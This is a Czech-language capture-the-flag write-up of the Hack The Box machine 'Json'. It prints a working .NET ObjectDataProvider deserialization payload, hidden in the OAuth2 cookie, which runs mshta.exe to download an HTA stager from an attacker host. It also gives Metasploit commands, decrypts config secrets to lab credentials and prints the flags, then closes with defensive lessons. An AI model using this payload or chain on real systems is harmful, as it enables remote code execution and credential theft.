Json
Úvod a kontext
Json je .NET webová aplikace, kde se první foothold opírá o nebezpečnou deserializaci přes cookie OAuth2. Frontend v Angularu ukládá token do cookie, backend ho slepě zpracuje a dovolí vytvořit gadget ObjectDataProvider, který spustí libovolný proces na serveru.
Druhá část řetězce pak není o dalším exploitu, ale o čtení lokálních tajemství. Jakmile je k dispozici shell, soubory aplikace vydají SecurityKey a zašifrované hodnoty pro plánovanou úlohu. Ty se dají lokálně dešifrovat na superadmin:funnyhtb, což už vede k finálnímu přístupu.
Počáteční průzkum
IIS, FTP a .NET aplikace
Na prvním pohledu nejsou na stroji jen webové porty, ale i FTP a WinRM. To je důležité, protože pokud aplikace někde ukrývá přihlašovací údaje, velmi pravděpodobně je půjde použít i mimo webovou vrstvu.
nmap -p 1-65535 -T4 -A -sC -v $IP
21/tcp open ftp FileZilla ftpd
80/tcp open http Microsoft IIS httpd 8.5
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Co prozradí JavaScript frontendu
V klientském JavaScriptu je důležitá jedna věc: aplikace bere hodnotu cookie OAuth2, posílá ji jako Bearer token a bez ní přesměruje uživatele na login. To znamená, že pokud backend token zpracovává nebezpečně, lze útok vést přímo přes cookie bez legitimního přihlášení.
angular.module('json', ['ngCookies'])
var getOAuth = $cookies.get('OAuth2');
if (getOAuth) {
$http.get('/api/Account/', {
headers: { "Bearer": getOAuth }
})
}
Analýza zjištění
Insecure deserialization přes ObjectDataProvider
Backend akceptuje JSON s $type, takže dává smysl otestovat klasický .NET gadget System.Windows.Data.ObjectDataProvider. Ten dovolí vytvořit objekt procesu a zavolat metodu Start, tedy spustit cmd, ping nebo přímo mshta.exe s HTA payloadem.
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['mshta.exe','http://10.10.15.253:8080/Ok9xixLTXt8zR1.hta']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Jakmile se tento objekt base64 zakóduje a uloží do cookie OAuth2, server payload zpracuje a mshta.exe stáhne útočníkův HTA stager.
Získání přístupu
První shell přes podvrženou cookie
Praktický krok je tedy jednoduchý: vystavit HTA server, nastavit cookie OAuth2 na připravený base64 payload a otevřít web. Výsledkem je první shell v kontextu webové aplikace.
use exploit/windows/misc/hta_server
set srvhost 10.10.15.253
set lhost 10.10.15.253
exploit
http://10.10.10.158/
more user.txt
34459a01f50050dc410db09bfb9f52bb
userscredentials.json a plánovaná úloha
Po footholdu je nejdůležitější číst aplikační soubory. userscredentials.json sice obsahuje další účty a hashe, ale ještě cennější je konfigurace plánované úlohy, kde leží SecurityKey a dvě zašifrované hodnoty user a password.
more S*g
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="/>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
Malý C# snippet se stejnou dešifrovací rutinou vrátí superadmin:funnyhtb.
Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true)+":"+Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
superadmin:funnyhtb
Eskalace oprávnění
superadmin a finální přístup
Jakmile jsou známy přihlašovací údaje superadmin:funnyhtb, je možné je použít proti několika službám. V nejkratší zachycené cestě stačí přihlášení na FTP a stažení root.txt.
ftp 10.10.10.158
superadmin:funnyhtb
get root.txt
cat root.txt
3cc85d1bed2ee84af4074101b991d441
Shrnutí klíčových poznatků
- Json stojí na nebezpečné .NET deserializaci přes cookie, ne na klasickém SQL injection nebo uploadu souboru.
- První shell byl důležitý hlavně jako cesta k aplikačním tajemstvím. Rozhodující heslo neleželo v procesu, ale v konfiguračním souboru plánované úlohy.
- Root část není další exploit, ale důsledek špatné správy tajemství: stejný účet
superadminměl přístup i k finální citlivé vrstvě.
Co si odnést do praxe
- Backend nikdy nesmí deserializovat klientem dodaný objekt s podporou
$typebez přísné whitelistace. Json.NET s povolenýmTypeNameHandlingje v takové konfiguraci přímé RCE. - OAuth nebo bearer token v cookie je bezpečnostní hranice, ne aplikační convenience. Pokud ho server bez validace akceptuje jako objekt, cookie se stává vstupem pro exploit.
- Šifrovaná tajemství v konfiguraci nepomohou, pokud vedle nich leží i dešifrovací klíč. Na Jsonu právě přítomnost
SecurityKeyzměnila „encrypted config“ zpět na plaintext heslo.